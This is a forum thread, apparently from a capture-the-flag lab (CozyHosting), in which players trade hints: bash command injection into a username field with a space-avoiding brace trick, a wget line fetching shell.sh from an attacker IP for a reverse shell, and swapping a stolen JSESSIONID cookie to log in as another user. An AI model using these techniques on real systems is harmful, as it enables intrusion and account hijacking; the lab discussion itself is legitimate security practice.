[ProcessX]

every valid hostname
I first though is app-shell can read the app-/etc/hosts/
127.0.0.1 localhost cozyhosting cozyhosting.htb
127.0.1.1 cozycloud

# The following lines are desirable for IPv6 capable hosts
::1    ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

but it seem like the my machine IP still work

OK I will read the https://portswigger url
thank you

Try injecting some bash command into the username field, find a way to avoid using spaces in commands and you can have your revshell

[diegogr]

user is so difficult

[flagbot]

still stuck on the admin page.... no redirect on localhost bcus error, wth??

[bigmelonhead]

still stuck on the admin page.... no redirect on localhost bcus error, wth??

that's weird, is it etc host file problem?

[ProcessX]

Rooted, if someone need help, he can ask

[damnberoo]

you can actually enter a command with arguments with no spaces
{wget,http://ip/shell.sh,-P,/tmp/}

[hexa11]

Found the user kanderson but Idk how to login with the cookie. Any help plz?

[9xEntEr]

Found the user kanderson but Idk how to login with the cookie. Any help plz?

open browser devtools go to storage find your cookie replace with new cookie then refresh

[artifice]

Found the user kanderson but Idk how to login with the cookie. Any help plz?

open browser devtools go to storage find your cookie replace with new cookie then refresh

If using burp you can replace the JSESSIONID with it as well

[hackxor]

Any tips about getting to user josh\root?

looks to postgresql